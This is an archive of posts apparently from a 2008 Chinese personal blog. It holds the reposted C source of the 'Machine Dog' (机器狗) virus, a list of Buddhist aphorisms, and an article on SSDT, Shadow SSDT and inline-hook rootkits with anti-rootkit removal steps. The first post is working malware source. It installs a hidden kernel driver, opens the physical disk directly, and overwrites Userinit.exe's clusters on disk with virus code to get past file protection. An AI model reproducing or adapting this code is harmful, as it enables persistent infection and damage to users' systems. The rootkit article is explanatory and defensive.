标签为 隐藏 的存档
机器狗源码(C的)
Author: robay20 三 2008
前面的日志里曾经提到过机器狗的病毒,今天上网的时候无意中看了它的源码,转过来留存下,有机会认真学习一下,了解下其原理,防范于未然!
// Test.cpp : 定义控制台应用程序的入口点。
//
#include “stdafx.h”//===========================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
UCHAR active; // 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; // 起始柱面号高2位:6位起始扇区号
UCHAR StartCylinder; // 起始柱面号低8位
UCHAR PartitionType; // 分区类型
UCHAR EndHead; // 该分区终止磁头号
UCHAR EndSector; // 终止柱面号高2位:6位终止扇区号
UCHAR EndCylinder; // 终止柱面号低8位
ULONG StartLBA; // 起始扇区号
ULONG TotalSector; // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;//============================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;//==========================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode; // 2字节跳转指令,跳转到引导代码
UCHAR NopCode; // 1字节nop指令,填充用,保证跳转指令长3个字节
UCHAR OEMName[8]; // 8字节的OEMName// 下面开始为: BPB( BIOS Parameter Block )
USHORT BytesPerSector; // 每个扇区的字节数 (512 1024 2048 4096)
UCHAR SectorsPerCluster; // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
USHORT ReservedSectors; // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
UCHAR NumberOfFATs; // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
USHORT NumberOfSectors16; // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
UCHAR MediaDescriptor; // 介质类型
USHORT SectorsPerFAT16; // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
USHORT SectorsPerTrack; // 用于INT 0×13中断的每个磁道的扇区数
USHORT HeadsPerCylinder; // 用于INT 0×13中断的每个柱面的磁头数
ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数
ULONG NumberOfSectors32; // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]// 下面开始为: EBPB ( Extended BIOS Parameter Block )
ULONG SectorsPerFAT32; // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;#include <poppack.h>
#define PARTITION_TYPE_NTFS 0×07
#define PARTITION_TYPE_FAT32 0x0B
#define PARTITION_TYPE_FAT32_LBA 0x0C//==========================================================
#define STR_SYSFILE_PATH TEXT(“%SystemRoot%\\system32\\drivers\\pcihdd.sys”)
#define STR_VIRFILE_PATH TEXT(“%SystemRoot%\\System32\\Userinit.exe”)
#define STR_DSKDEVICE_NAME TEXT(“\\\\.\\PhysicalDrive0″)
#define STR_HDDDEVICE_NAME TEXT(“\\\\.\\PhysicalHardDisk0″)//=========================================================
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)//============================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
TCHAR filePath[MAX_PATH];
HANDLE fileHandle;
HRSRC hSysRes;
DWORD dwWritten;
DWORD dwSysLen;
PVOID lpSysBuf;
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
||
(0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
||
(NULL == (lpSysBuf = LockResource(hSysRes)))
||
(0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
||
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
)
{
errCode = GetLastError();
goto FunExit00;
}
if(
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
||
!SetEndOfFile(fileHandle)
||
!FlushFileBuffers(fileHandle)
)
{
errCode = GetLastError();
}
CloseHandle(fileHandle);
if(ERROR_SUCCESS != errCode)
{
goto FunExit01;
}
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
hService = CreateService(
hSCManager,
TEXT(“PciHdd”),
TEXT(“PciHdd”),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
if(NULL != (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))
{
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
}
hService = CreateService(
hSCManager,
TEXT(“PciHdd”),
TEXT(“PciHdd”),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
errCode = GetLastError();
goto FunExit02;
}
}
if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_START)))
{
errCode = GetLastError();
goto FunExit02;
}
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
FunExit02:
CloseServiceHandle(hSCManager);
FunExit01:
DeleteFile(filePath);
FunExit00:
return err
Code;
}//========================================================
DWORD StopAndDeleteDriver(VOID)
{
TCHAR filePath[MAX_PATH];
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit00;
}
if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
FunExit01:
CloseServiceHandle(hSCManager);
FunExit00:
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
DeleteFile(filePath);
return errCode;
}//========================================================
// 感染硬盘第一个分区的指定的文件
//
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息
//
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。
//
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确
//
// 入口参数:
// 要感染的文件名(完整路径)
//
// Return value:
// Success -> NULL
// Failed -> 指向出错信息的指针
//==========================================================
DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
STARTING_VCN_INPUT_BUFFER iVcnBuf;
UCHAR oVcnBuf[272];
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
DWORD dwVcnExtents;
LARGE_INTEGER startLcn;
PUCHAR lpClusterBuf;
DWORD dwClusterLen;
UCHAR dataBuf[512];
UCHAR diskBuf[512];
DWORD dataLen;
LARGE_INTEGER diskPos;
PPARTITION_ENTRY lpPartition;
ULONG dwPartitionStart;
ULONG dwPartitionType;
PBBR_SECTOR lpBootSector;
DWORD SectorsPerCluster;
HANDLE hHddDevice;
HANDLE hDskDevice;
HANDLE hVirusFile;
DWORD errCode = ERROR_SUCCESS;
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit00;
}
//
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
{
errCode = GetLastError();
goto FunExit01;
}
iVcnBuf.StartingVcn.QuadPart = 0;
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
{
errCode = GetLastError();
goto FunExit02;
}
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
dwVcnExtents = lpVcnBuf->ExtentCount;
startLcn = lpVcnBuf->Extents[0].Lcn;
if(!dwVcnExtents)
{
errCode = (ULONG)(-3); // 文件太小, 不能操作
goto FunExit02;
}
if(startLcn.QuadPart == -1)
{
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作
goto FunExit02;
}
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
// 打开第一个物理硬盘
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit02;
}
// 读取硬盘第一个扇区(MBR)
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
if(lpPartition[0].active != 0×80)
{
errCode = (ULONG)(-1); // 分区不是启动分区
goto FunExit03;
}
dwPartitionType = lpPartition[0].PartitionType;
if(
dwPartitionType != PARTITION_TYPE_FAT32
&&
dwPartitionType != PARTITION_TYPE_FAT32_LBA
&&
dwPartitionType != PARTITION_TYPE_NTFS
)
{
errCode = (ULONG)(-2); // 不支持的磁盘分区
goto FunExit03;
}
dwPartitionStart = lpPartition[0].StartLBA;
diskPos.QuadPart = dwPartitionStart * 512;
// 读取启动分区的第一个扇区(启动扇区)
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpBootSector = (PBBR_SECTOR)&diskBuf[0];
SectorsPerCluster = lpBootSector->SectorsPerCluster;
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量
diskPos.QuadPart = dwPartitionStart;
diskPos.QuadPart+= lpBootSector->ReservedSectors;
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
{
diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
}
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
diskPos.QuadPart*= 512;
// 检查文件寻址
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
{
errCode = (ULONG)(-5); // 寻址文件不成功
goto FunExit03;
}
// 分配缓冲
dwClusterLen = SectorsPerCluster*512;
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲
if(!lpClusterBuf)
{
errCode = GetLastError(); // 寻址文件不成功
goto FunExit03;
}
// 把Virus文件的数据从SYS文件资源段中解码出来
if(!DeviceIoControl(
hVirusFile,
IOCTL_MYDEV_Fun_0xF01,
(PVOID)0×00401000, // 本执行文件代码段的开始, 在C语言中我不会表达
0x73E, // 本执行文件代码段的长度, 在C语言中我不会表达
lpClusterBuf,
dwClusterLen,
&dataLen,
NULL
))
{
errCode = GetLastError();
goto FunExit04;
}
// 写Virus文件的数据到磁盘
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
FlushFileBuffers(hDskDevice);
errCode = ERROR_SUCCESS;
FunExit04:
GlobalFree(lpClusterBuf);
FunExit03:
CloseHandle(hDskDevice);
FunExit02:
CloseHandle(hVirusFile);
FunExit01:
CloseHandle(hHddDevice);
FunExit00:
return errCode;
}//==========================================================
int _tmain(int argc, _TCHAR* argv[])
{
TCHAR filePath[MAX_PATH];
DWORD errCode;
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetM
oduleHandleA(NULL))))
{
MessageBox(NULL, TEXT(“驱动程序的加载没有成功,程序将无法运行”), NULL, MB_ICONERROR);
goto FunExit00;
}
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
WriteVirusToDisk(filePath);
StopAndDeleteDriver();
FunExit00:
return 0;
}
佛言百句养心养性
Author: robay27 二 2008
从别的地方找到的,看着不错,与大家共勉吧!
仔细想想,确实能够让人平心静气,佛学其实就是一种心理慰籍!
中庸也好,籍口也好,关键是所达到的结果!
1、人之所以痛苦,在于追求错误的东西。
2、与其说是别人让你痛苦,不如说自己的修养不够。
3、如果你不给自己烦恼,别人也永远不可能给你烦恼。因为你自己的内心,你放不下。
4、好好的管教你自己,不要管别人。
5、不宽恕众生,不原谅众生,是苦了你自己。
6、别说别人可怜,自己更可怜,自己修行又如何?自己又懂得人生多少?
7、福报不够的人,就会常常听到是非;福报够的人,从来就没听到过是非。
8、你永远要感谢给你逆境的众生。
9、你永远要宽恕众生,不论他有多坏,甚至他伤害过你,你一定要放下,才能得到真正的快乐。
10、这个世界本来就是痛苦的,没有例外的。
11、当你快乐时,你要想这快乐不是永恒的。当你痛苦时,你要想这痛苦也不是永恒的。
12、认识自己,降伏自己,改变自己,才能改变别人。
13、不要浪费你的生命在你一定会后悔的地方上。
14、你什么时候放下,什么时候就没有烦恼。
15、每一种创伤,都是一种成熟。
16、当你知道迷惑时,并不可怜, 当你不知道迷惑时,才是最可怜的。
17、狂妄的人难救,自卑的人更难救。
18、你不要一直不满人家,你应该多检讨自己才对。不满人家,是苦了你自己。
19、你要包容那些意见跟你不同的人,这样子日子比较好过。你要是一直想改变他,那样子你会很痛苦。要学学怎样忍受他才是,怎样包容他才是。
20、承认自己的伟大,就是认同自己的愚痴。
21、一个人如果不能从内心去原谅别人,那他就永远不会心安理得。
22、心中装满着自己的看法与想法的人,永远听不见别人的心声。
23、毁灭人只要一句话,培植一个人却要千句话,请你多口下留情。
24、当你劝告别人时,若不顾及别人的自尊心,那么再好的言语都没有用的。
25、不要在你的智慧中夹杂着傲慢,不要使你的谦虚心缺乏智慧。
26、根本不必回头去看咒骂你的人是谁?如果有一条疯狗咬你一口,难道你也要趴下去反咬他一口吗?
27、忌妒别人,不会给自己增加任何的好处。忌妒别人,也不可能减少别人任何的成就。
28、永远不要浪费你的一分一秒,去想任何你不喜欢的人与事。
29、多少人要离开这个世间时,都会说出同一句话:这世界真是无奈与凄凉啊!
30、恋爱不是慈善事业,不能随便施舍的。感情是没有公式,没有原则,没有道理可循的,可是人们至死都还在执著与追求。
31、请你用慈悲心和温和的态度,把你的不满与委屈说出来,别人就容易接受。
32、创造机会的人是勇者,等待机会的人是愚者。
33、能说不能做,不是真智慧。
34、多用心去倾听别人怎么说,不要急着表达你自己的看法。
35、同样的瓶子,你为什么要装毒药呢?同样的心理,你为什么要充满着烦恼呢?
36、得不到的东西,我们会一直以为他是美好的,那是因为你对他了解太少,没有时间与他相处在一起。当有一天,你深入了解后,你会发现远不是你想像中的那么美好。
37、方正存心,圆通处世。
38、活着一天,就是有福气,就该珍惜。当我哭泣没有鞋子穿的时候,我发现有人却没有脚。
39、多一分心力去注意别人,就少一分心力反省自己,你懂吗?
40、欲知世上刀兵劫,但听屠门夜半声。不要光埋怨自己多病,灾祸横生,多看看横死在你刀下的众生又有多少?
41、憎恨别人对自己是一种很大的损失与伤害。
42、每一个人都拥有生命,但并非每个人都懂得生命,乃至于珍惜生命。虚度生命的人,生命对他来说,并没有多大意义,滥用生命的人,生命对他来说,是一种惩罚。
43、自以为拥有财富的人,其实是被财富所拥有。
44、情执是苦恼的原因,放下情执,你才能得到自在。
45、随缘不是得过且过,因循苟且,而是尽人事听天命,积极乐观面对境缘,而不妄求,贪着。
46、不要太肯定自己的看法,这样子比较少后悔。
47、当你对自己诚实的时候,世界上没有人能够欺骗得了你。
48、用伤害别人的手段来掩饰自己缺点的人,是可耻的。
49、内心充满忌妒,心中不坦白,言语不正的人,不能算是一位五官端正的人。
50、多讲点笑话,以幽默的态度处事,这样子日子会好过一点。
51、活在别人的掌声中,是禁不起考验的人。
52、不要刻意去猜测他人的想法,如果你没有智慧与经验的正确判断,通常都会有错误的。
53、要了解一个人,只需要看他的出发点与目的地是否相同,就可以知道他是否真心的。
54、人生的真理,藏在平淡清净之中。
55、不洗澡的人,硬擦香水是不会香的。名声与尊贵,是来自于真才实学的。有德自然香。
56、与其你去排斥已成的事实,你不如勇敢接受。
57、逆境是成长必经的过程,能勇于接受逆境的人,生命就会日渐的茁壮。
58、要感谢告诉你缺点的人。
59、能为别人设想的人,永远不寂寞。
60、如果你能像看别人缺点一样,如此准确般的发现自己的缺点,那么你的生命将会不平凡。
61、原谅别人,就是给自己心中留下空间,以便回旋。
62、时间总会过去的,让时间流走你的烦恼吧!
63、你硬要把单纯的事情看得很严重,那样子你会很痛苦。
64、永远扭曲别人善意的人,无药可救。
65、人不是坏,只是习气罢了,每个人都有习气,只是深浅不同罢了。只要他有向善的心,能原谅的就原谅他,不要把他总看做是坏人。
66、说一句谎话,要编造十句谎话来弥补,何苦呢?
67、其实爱美的人,只是与自己谈恋爱罢了。
68、世界上没有一个永远不被毁谤的人,也没有一个永远被赞叹的人。当你话多的时候,别人要批评你,当你话少的时候,别人要批评你,当你沉默的时候,别人还是要批评你。在这个世界上,没有一个人不被批评的。
69、只会夸奖我们,赞叹我们的,这都不是明师,能批评我们,启示我们的,这才是明师,有了他们我们才会进步。
70、你目前所拥有的都将随着你的死亡而成为他人的,那为何不现在就乐意施给真正需要的人呢?
71、白白的过一天,无所事事,就像犯了窃盗罪一样。
72、沉默是毁谤最好的答复。
73、对人恭敬,就是在庄严你自己。
74、拥有一颗无私的爱心,便拥有了一切。
75、仇恨永远不能化解仇恨,只有宽容才能化解仇恨,这是永恒的至理。
76、你接受比抱怨还要好,对于不可改变的事实,你除了接受以外,没有更好的办法了。
77、不要因为众生的愚疑,而带来了自己的烦恼。不要因为众生的无知,而痛苦了你自己。
78、别人讲我们不好,不用生气、难过。说我们好也不用高兴,这不好中有好,好中有坏,就看你会不会运用?
79、当你的错误显露时,可不要发脾囮°,别以为任性或吵闹,可以隐藏或克服你的缺点。
80、不要常常觉得自己很不幸,世界上比我们痛苦的人还很多,抛开自由的悲切,去帮助他人。
81、愚痴的人,一直想要别人了解他。有智慧的人,却努力的了解自己。
82、来是偶然的,走是必然的,要学着随缘不变,不变随缘。
83、只有面对现实,你才能超越现实。
84、良心是每一个人最公正的审判官,你骗得了别人,却永远骗不了你自己的良心。
85、不懂得自爱的人,是没有能力去爱别人的。
86、做事就是在学做人而已。
87、有时候我们要冷静问问自已,我们在追求什么?我们活着为了什么?
88、不要因为小小的争执,远离了你至亲的好友,也不要因为小小的怨恨,忘记了别人的大恩。
89、勇于接受别人的批评,正好可以纠正自己的缺点。
90、感谢上天我所拥有的,感谢上天我所没有的。
91、说话不要有攻击性,不要有杀伤力,不夸已能,不扬人恶,自然能化敌为友。
92、一个常常看别人缺点的人,自己本身就不够好,因为他没有时间检讨他自己。
93、是非天天有,不听自然无,是非天天有,不听还是有,是非天天有,看你怎么办?
94、如果你真的爱他,那么你必须容忍他部份的缺点。
95、你必须要接受世上所有的人,都会死去的观念。当你明白生命是永恒的,就能克服对死亡的恐惧,欢喜求生西方极乐清净平等的佛土。
96、虽然你讨厌一个人,但却又能发觉他的优点好处,像这样子有修养的人,天下真是太少了。
97、诚实的面对你内心的矛盾和污点,不要欺骗你自己。
98、因果不曾亏欠过我们什么,所以请不要抱怨。
99、我们确实有如是的优点,但也要隐藏几分,这个叫做涵养。
100、大多数的人一辈子只做了三件事;自欺、欺人、被人欺。
101、太过于欣赏自己的人,不会去欣赏别人的优点。
102、妄心是最大的骗子,别人能骗你一时,而它却会骗你一辈子。
103、当你手中抓住一件东西不放时,你只能拥有这件东西,如果你肯放手,你就有机会选择别的。人的心若死执自己的观念,不肯放下,那么他的智慧也只能达到某种程度而已。
104、人家怕你,并不是一种福,人家欺你,并不是一种辱。
105、不是某人使我烦恼,而是我拿某人的言行来烦恼自己。
106、不要刻意去曲解别人的善意,你应当往好的地方想。
107、世上的事,不如己意者十之八九,当它是应该的就好。
108、我的财富并不是因为我拥有很多,而是我要求的很少,布施供养别人的很多。
109、以为别人在注意你,或希望别人注意你的人,会生活的比较烦恼。
110、我能为你煮东西,但我不能为你吃东西。各人吃饭是各人饱,各人生死是个人了。
111、看轻别人很容易,要摆平自己却很困难。
112、如果你准备结婚的话,告诉你一句非常重要的哲学名言,你一定要忍耐包容对方的缺点,世界上没有绝对幸福圆满的婚姻,幸福只是来自于无限的容忍与互相尊重。
113、如果你能够平平安安的渡过一天,那就是一种福气了。多少人在今天已经见不到明天的太阳,多少人在今天已经成了残废,多少人在今天已经失去了自由,多少人在今天已经家破人亡。
114、是非和得失,要到最后的结果,才能评定。
115、你不必和因果争吵,因果从来就不会误人。你也不必和命运争吵,命运它是最公平的审判官。
116、你有你的生命观,我有我的生命观,我不干涉你。只要我能,我就诚心感化你。如果不能,那我就坦然认命。
117、你希望掌握永恒,那你必须控制现在。
118、恶口永远不要出自于我们的口中,不管他有多坏,有多恶。你愈骂他,你的心就被污染了,你要想,他就是你的善知识,至少你该学着忘记。
119、当你明天开始生活的时候,有人跟你争执,你就让他赢,这个赢跟输,都只是文字的观念罢了。当你让对方赢,你并没有损失什么。所谓的赢,他有赢到什么?得到什么?所谓的输,你又输到什么?失去什么?
120、你不要常常觉得自己很委曲,你应该要想,我这样子已经很好了,这就是修行的功夫。
121、别人可以违背因果,别人可以害我们,打我们,毁谤我们。可是我们不能因此而憎恨别人,为什么?我们一定要保有完整的本性和一颗清净的心。
122、与任何人接触时,要常常问自己,我有什么对他有用,使他得益?如果我不能以个人的道德、学问和修持的力量,来使人受益,就等于欠了一份债。
123、如果一个人没有苦难的感受,就不容易对他人给予同情。你要学救苦救难的精神,就得先受苦受难。 如觉自己受苦受难太多,则经常可以上《经典文章》修心养性。
124、一般人在遇到对方的权势大,财富大,气力大,在无可奈何的情形之下而忍,这算什么忍耐呢?真正的忍是,就算他欺负了你,对不住你,但他什么都不及你,你有足够的力量对付他,而你却能容忍他,认为他的本性和我一样,只是一时糊涂,或在恶劣的环境中受到熏染罢了,你不必与他计较,能在这样的情况及心境之下容忍那才是真正的忍耐。
125、如果我们放眼从累生历劫去看,那么一切的众生,谁不曾做过我的父母、兄弟姊妹、亲戚眷属?谁不曾做过我的仇敌冤家?如果说有恩,个个与我有恩;如果说有冤,个个与我有冤。这样子我们还有什么恩怨亲疏之别呢?再就智慧愚笨来说,人人有聪明的时候,也有愚痴的时候,聪明的人可能变愚痴,愚痴的人也可能变聪明。最坏的人,也曾做过许多好事,而且不会永远坏;好人也曾做过许多坏事,将来也不一定会好。如此我们反覆思索,所谓的冤亲、贤愚,这许多差别的概念,自然就会渐渐淡了。这绝对不是混沌,也不是不知好坏,而是要将我们无始以来的偏私差别之见,代之以一视同仁的平等观念罢了!
126、世界原本就不是属于你,因此你用不着抛弃,要抛弃的是一切的执著。万物皆为我所用,但非我所属。
127、宁可自己去原谅别人,莫让别人来原谅你。
128、当你用烦恼心来面对事物时,你会觉得一切都是业障,世界也会变得丑陋可恨。而相反,当你用感恩的心来面对事物时,你会觉得一切都是助缘,世界也会变得美好可亲。
129、欲为诸佛龙象,先做众生马牛。
130、虽然我们不能改变周遭的世界,我们就只好改变自己,用爱心和智慧来面对这一切.
主动防御技术(转)
Author: robay23 二 2008
主动防御技术
对于SSDT Hook,现在的所有Anti-Rootkit工具都能轻易找出并解除它的钩子(脱钩,Unhook),如IceSword、RKU、超级巡警等。
运行IceSword,首先点击“进程”,观察这里是否存在红色标记的进程,如果有,说明你的系统里绝对存在SSDT Hook,那红色的进程正是被底层驱动隐藏起来的文件,将它的具体位置记下来,并将其终止。
现在点击进入SSDT列表,会发现一些被红色标注出来的行列,记住它的“当前服务函数所在模块”,这个就是实施SSDT Hook的底层驱动文件。
然后,使用超级巡警切换至高级模式,将SSDT恢复为初始状态,它的所有防御就被解除了,现在直接查找刚才记录的文件去删除吧。
进一步试探:Shadow SSDT Hook
RK 作者不甘心,无论是出于技术上的抗争还是利益上的损失,反正,ARK既然让我丢了面子或瘪了钱包,那么,“有朝一日龙得水,定叫长江水倒流!”,一些人开始尝试研究破解Anti-Rootkit工具,誓与之抗争到底,另一些人,则开始了新的探索,最终,双方都有了成效:首先,pjf的大作 IceSword被成功反汇编了,虽然得到的并不是最初的C语言代码而是汇编语句,但是对于研究Rootkit的人来说,汇编在他们眼里,就如同看网络小说一样轻而易举,很快,就有人识破了作者的检测逻辑,可以绕过IceSword以及其他采用类似检测方法的工具的Rootkit就此诞生,甚至一部分RK 已经开始反过来监控ARK,一旦相应ARK的驱动被加载,立即开始玉石俱焚——将用户机器弄成经典的蓝屏死机,不明就里的用户在几次与蓝色屏幕对望后,通常都会无奈的放弃;而另一种蓝屏则是更深层次的问题导致的,下面会提到。
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金
而探索另一个方向的研究者们,也传来了捷报:Windows系统里,除了那个大家都在玩的SSDT(KeServiceDescriptorTable)以外,还有一个隐藏得非常深入的类似SSDT结构的数据段在同时工作着,它被称为“Shadow SSDT”(SSDT映射),这个“KeServiceDescriptorTableShadow”功能并未从系统内核中导出,但是通过外联的系统级别调试器,却看到了它的踪影。Shadow SSDT的作用和SSDT本身差不多,只不过它主要是提供一些基于图形用户界面(GUI)下的系统服务函数,并保存了一份与SSDT相同的服务列表,当然,这也是提供给基于GUI下的程序调用的。Shadow SSDT被安排在win32k.sys中,非常少文献提及它,因此这几乎是个被人遗忘的角落,Rootkit作者们很快就发现,控制这里也能达到一定的效果,因为Shadow SSDT同样具备了SSDT的所有功能,只不过是要利用的时候多了一些步骤而已,于是RK又有了新的玩法,这一次,轮到ARK傻眼了,那时候ARK根本没有做到Shadow SSDT这一步,于是,只钩住Shadow SSDT的Rootkit们得以无法无天的生存下去,任由用户怎么发现恶意程序怎么恢复SSDT都好,始终都是影响不到此类Rootkit!
这个情形,一直到具备了Shadow SSDT检测功能的ARK工具出现才结束,例如大名鼎鼎的RootKit Unhooker(RKU),它那强大的SSDT以及其Shadow检测脱钩功能,帮助许多人解决了这些新生的捣蛋鬼,于是,Rootkit作者们又开始寻求新的生存之道。
此类Hook由于出现得比较晚,很多当初流行的ARK都没有涉及这块,所以,我们只能使用RKU、狙剑等工具对其进行操作。
运行RKU(Rootkit Unhooker),它是英文软件,但是操作十分简便。点击“Shadow SSDT”,如果系统中存在Shadow SSDT Hook,你会发现软件底部状态栏里“Services/Hooked”不再是“xxx/0”的状态,同时相应被Hook的函数显示行里, “Hooked”一栏为“Yes”,现在记下这个文件的位置和地址,然后直接点“UnHooked ALL”,接下来,去找文件删除吧。
逼近顶峰:Inline Hook
世界上最荒谬的事情是什么?是顺着被人故意弄乱方向的路牌,往错误的方向走了好远都没察觉到有问题?还是被朋友恶作剧的将男女洗手间的标识换了位置?如果有天去造访寺院,却发现里面居然是清一色的道士在念经,你一定会惊呼,这简直太荒谬了!
在狂热的Rootkit领域里,类似的荒谬正在散布开来,那就是高级的Hook形式——Inline Hook。
在最初的运作流程里,所有被设置了挂钩的函数操作,最终还是要回到原始功能模块内处理的,毕竟第三方程序作者不是Windows系统编写者,为了保证系统的正常运行,最明智的做法当然是让被拦截的相关函数请求在经过自己编写的模块的层层检测并发现无害以后,立即将这个即将进行正常工作的请求原封不动的送到它该干活的地方去,以便系统完成整个工作流程,所以大家都在打SSDT等地方的主意,就是为了在这条必经之路上插上一脚,力求能绊倒那些看着不顺眼的路人。而现在,路上出现会砍脚的保安了,怎么办,难道玩不下去了吗?然而,迎接挑战正是每个研究者的兴趣所在,于是,荒谬的念头带出了可怕的技术,这就是 Inline Hook。
